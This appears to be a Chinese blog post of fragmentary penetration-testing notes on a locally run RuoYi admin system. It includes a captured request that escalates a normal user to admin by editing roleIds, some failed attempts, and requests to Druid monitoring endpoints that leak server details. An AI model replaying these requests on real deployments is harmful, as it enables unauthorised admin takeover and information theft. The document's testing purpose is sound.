普通用户可以删除普通管理员权限提升。

普通用户直接权限提升

如果普通用户的权限是这么多的话，可以直接删除管理员改管理员。

除了仅本人的也可以权限提升。

就算是仅自己也是随便权限提升，仅仅隐藏前端。

自己直接权限提升（部门及以下，所有角色权限）

有普通用户的限制直接把普通用户关掉。

POST /system/user/edit HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 204
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/system/user/edit/102
Cookie:  JSESSIONID=518f6193-5a45-48ac-b443-4820fccee7a1	
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

userId=102&deptId=103&userName=123456&dept.deptName=%E7%A0%94%E5%8F%91%E9%83%A8%E9%97%A8&phonenumber=13889662364&email=11%40111&loginName=123456&sex=1&role=1&role=&remark=&status=0&roleIds=1%2C2&postIds=1

随便权限提升

无权限删除（失败）

平行越权改密码（失败）

任意用户停用（失败）

用户修改管理员用户（失败）
用户改用户（失败）

只有可以操作所有数据时才可以进行上面的敏感操作。

超级管理员权限修改（失败）

权限大于一切，其他的只是没有前端。（导出有限制4.2）4.8有限制，需要部门及以下

全在2025被交了，我才知道每一个不同的接口功能点都可以交。

还有任意导出。

未授权失败

2 定时任务（命令执行）

bean Spring自动创建与管理类，依赖传递

3 数据监控（sql)

首页

拼接加上渲染

拼接

POST /druid/basic.json HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/index.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0

HTTP/1.1 200 
Date: Wed, 15 Apr 2026 12:41:58 GMT
Content-Length: 13144

{"ResultCode":1,"Content":{"Version":"1.1.14","Drivers":["com.alibaba.druid.proxy.DruidDriver","com.mysql.jdbc.Driver","com.alibaba.druid.mock.MockDriver","com.mysql.fabric.jdbc.FabricMySQLDriver"],"ResetEnable":true,"ResetCount":0,"JavaVMName":"OpenJDK 64-Bit Server VM","JavaVersion":"25.0.2","JavaClassPath":"E:\\RuoYi-v4.2\\ruoyi-admin\\target\\classes;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-thymeleaf\\2.1.1.RELEASE\\spring-boot-starter-thymeleaf-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter\\2.1.1.RELEASE\\spring-boot-starter-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-logging\\2.1.1.RELEASE\\spring-boot-starter-logging-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\ch\\qos\\logback\\logback-classic\\1.2.3\\logback-classic-1.2.3.jar;C:\\Users\\jc\\.m2\\repository\\ch\\qos\\logback\\logback-core\\1.2.3\\logback-core-1.2.3.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\logging\\log4j\\log4j-to-slf4j\\2.11.1\\log4j-to-slf4j-2.11.1.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\logging\\log4j\\log4j-api\\2.11.1\\log4j-api-2.11.1.jar;C:\\Users\\jc\\.m2\\repository\\org\\slf4j\\jul-to-slf4j\\1.7.25\\jul-to-slf4j-1.7.25.jar;C:\\Users\\jc\\.m2\\repository\\javax\\annotation\\javax.annotation-api\\1.3.2\\javax.annotation-api-1.3.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-core\\5.1.3.RELEASE\\spring-core-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-jcl\\5.1.3.RELEASE\\spring-jcl-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\yaml\\snakeyaml\\1.23\\snakeyaml-1.23.jar;C:\\Users\\jc\\.m2\\repository\\org\\thymeleaf\\thymeleaf-spring5\\3.0.11.RELEASE\\thymeleaf-spring5-3.0.11.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\thymeleaf\\thymeleaf\\3.0.11.RELEASE\\thymeleaf-3.0.11.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\attoparser\\attoparser\\2.0.5.RELEASE\\attoparser-2.0.5.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\unbescape\\unbescape\\1.1.6.RELEASE\\unbescape-1.1.6.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\thymeleaf\\extras\\thymeleaf-extras-java8time\\3.0.2.RELEASE\\thymeleaf-extras-java8time-3.0.2.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-devtools\\2.1.1.RELEASE\\spring-boot-devtools-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot\\2.1.1.RELEASE\\spring-boot-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-context\\5.1.3.RELEASE\\spring-context-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-expression\\5.1.3.RELEASE\\spring-expression-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-autoconfigure\\2.1.1.RELEASE\\spring-boot-autoconfigure-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-swagger2\\2.9.2\\springfox-swagger2-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-spi\\2.9.2\\springfox-spi-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-core\\2.9.2\\springfox-core-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\net\\bytebuddy\\byte-buddy\\1.9.5\\byte-buddy-1.9.5.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-schema\\2.9.2\\springfox-schema-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-swagger-common\\2.9.2\\springfox-swagger-common-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-spring-web\\2.9.2\\springfox-spring-web-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\google\\guava\\guava\\20.0\\guava-20.0.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\classmate\\1.4.0\\classmate-1.4.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\slf4j\\slf4j-api\\1.7.25\\slf4j-api-1.7.25.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\plugin\\spring-plugin-core\\1.2.0.RELEASE\\spring-plugin-core-1.2.0.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-beans\\5.1.3.RELEASE\\spring-beans-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-aop\\5.1.3.RELEASE\\spring-aop-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\plugin\\spring-plugin-metadata\\1.2.0.RELEASE\\spring-plugin-metadata-1.2.0.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\mapstruct\\mapstruct\\1.2.0.Final\\mapstruct-1.2.0.Final.jar;C:\\Users\\jc\\.m2\\repository\\io\\swagger\\swagger-annotations\\1.5.21\\swagger-annotations-1.5.21.jar;C:\\Users\\jc\\.m2\\repository\\io\\swagger\\swagger-models\\1.5.21\\swagger-models-1.5.21.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\core\\jackson-annotations\\2.9.0\\jackson-annotations-2.9.0.jar;C:\\Users\\jc\\.m2\\repository\\io\\springfox\\springfox-swagger-ui\\2.9.2\\springfox-swagger-ui-2.9.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\ruoyi\\ruoyi-framework\\4.2.0\\ruoyi-framework-4.2.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-web\\2.1.1.RELEASE\\spring-boot-starter-web-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-json\\2.1.1.RELEASE\\spring-boot-starter-json-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\datatype\\jackson-datatype-jdk8\\2.9.7\\jackson-datatype-jdk8-2.9.7.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\datatype\\jackson-datatype-jsr310\\2.9.7\\jackson-datatype-jsr310-2.9.7.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\module\\jackson-module-parameter-names\\2.9.7\\jackson-module-parameter-names-2.9.7.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-tomcat\\2.1.1.RELEASE\\spring-boot-starter-tomcat-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\tomcat\\embed\\tomcat-embed-core\\9.0.13\\tomcat-embed-core-9.0.13.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\tomcat\\embed\\tomcat-embed-el\\9.0.13\\tomcat-embed-el-9.0.13.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\tomcat\\embed\\tomcat-embed-websocket\\9.0.13\\tomcat-embed-websocket-9.0.13.jar;C:\\Users\\jc\\.m2\\repository\\org\\hibernate\\validator\\hibernate-validator\\6.0.13.Final\\hibernate-validator-6.0.13.Final.jar;C:\\Users\\jc\\.m2\\repository\\org\\jboss\\logging\\jboss-logging\\3.3.2.Final\\jboss-logging-3.3.2.Final.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-web\\5.1.3.RELEASE\\spring-web-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-webmvc\\5.1.3.RELEASE\\spring-webmvc-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-aop\\2.1.1.RELEASE\\spring-boot-starter-aop-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\aspectj\\aspectjweaver\\1.9.2\\aspectjweaver-1.9.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\alibaba\\druid-spring-boot-starter\\1.1.14\\druid-spring-boot-starter-1.1.14.jar;C:\\Users\\jc\\.m2\\repository\\com\\alibaba\\druid\\1.1.14\\druid-1.1.14.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\penggle\\kaptcha\\2.3.2\\kaptcha-2.3.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\jhlabs\\filters\\2.0.235-1\\filters-2.0.235-1.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-spring\\1.4.2\\shiro-spring-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-core\\1.4.2\\shiro-core-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-lang\\1.4.2\\shiro-lang-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-crypto-hash\\1.4.2\\shiro-crypto-hash-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-crypto-core\\1.4.2\\shiro-crypto-core-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-crypto-cipher\\1.4.2\\shiro-crypto-cipher-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-config-core\\1.4.2\\shiro-config-core-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-config-ogdl\\1.4.2\\shiro-config-ogdl-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\commons-beanutils\\commons-beanutils\\1.9.3\\commons-beanutils-1.9.3.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-event\\1.4.2\\shiro-event-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-web\\1.4.2\\shiro-web-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-ehcache\\1.4.2\\shiro-ehcache-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\shiro\\shiro-cache\\1.4.2\\shiro-cache-1.4.2.jar;C:\\Users\\jc\\.m2\\repository\\net\\sf\\ehcache\\ehcache-core\\2.6.11\\ehcache-core-2.6.11.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\theborakompanioni\\thymeleaf-extras-shiro\\2.0.0\\thymeleaf-extras-shiro-2.0.0.jar;C:\\Users\\jc\\.m2\\repository\\eu\\bitwalker\\UserAgentUtils\\1.19\\UserAgentUtils-1.19.jar;C:\\Users\\jc\\.m2\\repository\\com\\ruoyi\\ruoyi-system\\4.2.0\\ruoyi-system-4.2.0.jar;C:\\Users\\jc\\.m2\\repository\\mysql\\mysql-connector-java\\5.1.47\\mysql-connector-java-5.1.47.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\oshi\\oshi-core\\3.9.1\\oshi-core-3.9.1.jar;C:\\Users\\jc\\.m2\\repository\\net\\java\\dev\\jna\\jna\\4.5.2\\jna-4.5.2.jar;C:\\Users\\jc\\.m2\\repository\\net\\java\\dev\\jna\\jna-platform\\4.5.2\\jna-platform-4.5.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\ruoyi\\ruoyi-quartz\\4.2.0\\ruoyi-quartz-4.2.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\quartz-scheduler\\quartz\\2.3.0\\quartz-2.3.0.jar;C:\\Users\\jc\\.m2\\repository\\com\\mchange\\mchange-commons-java\\0.2.11\\mchange-commons-java-0.2.11.jar;C:\\Users\\jc\\.m2\\repository\\com\\ruoyi\\ruoyi-common\\4.2.0\\ruoyi-common-4.2.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-context-support\\5.1.3.RELEASE\\spring-context-support-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\pagehelper\\pagehelper-spring-boot-starter\\1.2.5\\pagehelper-spring-boot-starter-1.2.5.jar;C:\\Users\\jc\\.m2\\repository\\org\\mybatis\\spring\\boot\\mybatis-spring-boot-starter\\1.3.2\\mybatis-spring-boot-starter-1.3.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\boot\\spring-boot-starter-jdbc\\2.1.1.RELEASE\\spring-boot-starter-jdbc-2.1.1.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\com\\zaxxer\\HikariCP\\3.2.0\\HikariCP-3.2.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-jdbc\\5.1.3.RELEASE\\spring-jdbc-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\springframework\\spring-tx\\5.1.3.RELEASE\\spring-tx-5.1.3.RELEASE.jar;C:\\Users\\jc\\.m2\\repository\\org\\mybatis\\spring\\boot\\mybatis-spring-boot-autoconfigure\\1.3.2\\mybatis-spring-boot-autoconfigure-1.3.2.jar;C:\\Users\\jc\\.m2\\repository\\org\\mybatis\\mybatis\\3.4.6\\mybatis-3.4.6.jar;C:\\Users\\jc\\.m2\\repository\\org\\mybatis\\mybatis-spring\\1.3.2\\mybatis-spring-1.3.2.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\pagehelper\\pagehelper-spring-boot-autoconfigure\\1.2.5\\pagehelper-spring-boot-autoconfigure-1.2.5.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\pagehelper\\pagehelper\\5.1.4\\pagehelper-5.1.4.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\jsqlparser\\jsqlparser\\1.0\\jsqlparser-1.0.jar;C:\\Users\\jc\\.m2\\repository\\javax\\validation\\validation-api\\2.0.1.Final\\validation-api-2.0.1.Final.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\commons\\commons-lang3\\3.8.1\\commons-lang3-3.8.1.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\core\\jackson-databind\\2.9.7\\jackson-databind-2.9.7.jar;C:\\Users\\jc\\.m2\\repository\\com\\fasterxml\\jackson\\core\\jackson-core\\2.9.7\\jackson-core-2.9.7.jar;C:\\Users\\jc\\.m2\\repository\\com\\alibaba\\fastjson\\1.2.60\\fastjson-1.2.60.jar;C:\\Users\\jc\\.m2\\repository\\commons-io\\commons-io\\2.5\\commons-io-2.5.jar;C:\\Users\\jc\\.m2\\repository\\commons-fileupload\\commons-fileupload\\1.3.3\\commons-fileupload-1.3.3.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\poi\\poi-ooxml\\3.17\\poi-ooxml-3.17.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\poi\\poi\\3.17\\poi-3.17.jar;C:\\Users\\jc\\.m2\\repository\\commons-codec\\commons-codec\\1.11\\commons-codec-1.11.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\commons\\commons-collections4\\4.1\\commons-collections4-4.1.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\poi\\poi-ooxml-schemas\\3.17\\poi-ooxml-schemas-3.17.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\xmlbeans\\xmlbeans\\2.6.0\\xmlbeans-2.6.0.jar;C:\\Users\\jc\\.m2\\repository\\stax\\stax-api\\1.0.1\\stax-api-1.0.1.jar;C:\\Users\\jc\\.m2\\repository\\com\\github\\virtuald\\curvesapi\\1.04\\curvesapi-1.04.jar;C:\\Users\\jc\\.m2\\repository\\javax\\servlet\\javax.servlet-api\\4.0.1\\javax.servlet-api-4.0.1.jar;C:\\Users\\jc\\.m2\\repository\\com\\ruoyi\\ruoyi-generator\\4.2.0\\ruoyi-generator-4.2.0.jar;C:\\Users\\jc\\.m2\\repository\\org\\apache\\velocity\\velocity\\1.7\\velocity-1.7.jar;C:\\Users\\jc\\.m2\\repository\\commons-collections\\commons-collections\\3.2.1\\commons-collections-3.2.1.jar;C:\\Users\\jc\\.m2\\repository\\commons-lang\\commons-lang\\2.4\\commons-lang-2.4.jar","StartTime":"2026-04-14 15:24:05"}}

数据源

https://github.com/alibaba/druid/wiki

sql监控
POST /druid/sql.json?orderBy=SQL&orderType=desc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/sql.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
sql防火墙
POST /druid/wall.json?orderBy=&orderType=asc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/wall.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0


POST /druid/wall.json?orderBy=&orderType=asc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/wall.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
web应用

填充

POST /druid/webapp.json HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/webapp.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0


HTTP/1.1 200 
Content-Length: 1315
Date: Wed, 15 Apr 2026 13:30:17 GMT

{"ResultCode":1,"Content":[{"ContextPath":"/","RunningCount":0,"ConcurrentMax":10,"RequestCount":702,"SessionCount":0,"JdbcCommitCount":0,"JdbcRollbackCount":0,"JdbcExecuteCount":361,"JdbcExecuteTimeMillis":820,"JdbcFetchRowCount":2553,"JdbcUpdateCount":0,"OSMacOSXCount":0,"OSWindowsCount":0,"OSLinuxCount":0,"OSSymbianCount":0,"OSFreeBSDCount":0,"OSOpenBSDCount":0,"OSAndroidCount":0,"OSWindows98Count":0,"OSWindowsXPCount":0,"OSWindows2000Count":0,"OSWindowsVistaCount":0,"OSWindows7Count":0,"OSWindows8Count":0,"OSAndroid15Count":0,"OSAndroid16Count":0,"OSAndroid20Count":0,"OSAndroid21Count":0,"OSAndroid22Count":0,"OSAndroid23Count":0,"OSAndroid30Count":0,"OSAndroid31Count":0,"OSAndroid32Count":0,"OSAndroid40Count":0,"OSAndroid41Count":0,"OSAndroid42Count":0,"OSAndroid43Count":0,"OSLinuxUbuntuCount":0,"BrowserIECount":0,"BrowserFirefoxCount":0,"BrowserChromeCount":0,"BrowserSafariCount":0,"BrowserOperaCount":0,"BrowserIE5Count":0,"BrowserIE6Count":0,"BrowserIE7Count":0,"BrowserIE8Count":0,"BrowserIE9Count":0,"BrowserIE10Count":0,"Browser360SECount":0,"DeviceAndroidCount":0,"DeviceIpadCount":0,"DeviceIphoneCount":0,"DeviceWindowsPhoneCount":0,"BotCount":0,"BotBaiduCount":0,"BotYoudaoCount":0,"BotGoogleCount":0,"BotMsnCount":0,"BotBingCount":0,"BotSosoCount":0,"BotSogouCount":0,"BotYahooCount":0}]}
url监控
POST /druid/weburi.json?orderBy=URI&orderType=desc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/weburi.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
session监控
POST /druid/websession.json?orderBy=&orderType=asc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/websession.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0


HTTP/1.1 200 
Content-Length: 31
Date: Wed, 15 Apr 2026 13:40:36 GMT

{"ResultCode":1,"Content":null}
spring
POST /druid/spring.json?orderBy=&orderType=asc&page=1&perPageCount=1000000& HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/druid/spring.html
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0

4 服务监控

GET /monitor/server HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=7e4b43ce-3ad5-4b47-8443-71745dd4182c; cookie_lang=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4

0x3 表单构建

1 系统工具

2 代码生成

3 系统接口

0x4 实例演示

0x5 看看逻辑

任意文件导出（可能无）

0x6 个人资料（xss失败）

空指针失败

### Error updating database. Cause: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'sex' at row 1 ### The error may exist in URL [jar:file:/C:/Users/jc/.m2/repository/com/ruoyi/ruoyi-system/4.8.0/ruoyi-system-4.8.0.jar!/mapper/system/SysUserMapper.xml] ### The error may involve com.ruoyi.system.mapper.SysUserMapper.updateUser-Inline ### The error occurred while setting parameters ### SQL: update sys_user SET dept_id = ?, login_name = ?, user_name = ?, user_type = ?, email = ?, phonenumber = ?, sex = ?, password = ?, salt = ?, status = ?, login_ip = ?, login_date = ?, pwd_update_date = ?, update_by = ?, remark = ?, update_time = sysdate() where user_id = ? ### Cause: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'sex' at row 1 ; Data truncation: Data too long for column 'sex' at row 1; nested exception is com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'sex' at row 1

# 前端 # 数据库
Logo
https://edu.csdn.net/learn/39067/627173?utm_source=2019755004

汇聚全球AI编程工具，助力开发者即刻编程。

更多推荐

cover

四天蒸发近2000亿，宇树科技股价近乎“腰斩”；苹果举办库克告别派对：9月1日正式卸任CEO；Anthropic两款新Claude模型曝光 | 极客头条

avatar AI编程社区
cover

Claude Code反超GitHub Copilot登顶第一、90%程序员已用上Agent，最新AI编码调查报告来了

avatar AI编程社区
cover

如何用好 Claude Code 写后端代码

avatar AI编程社区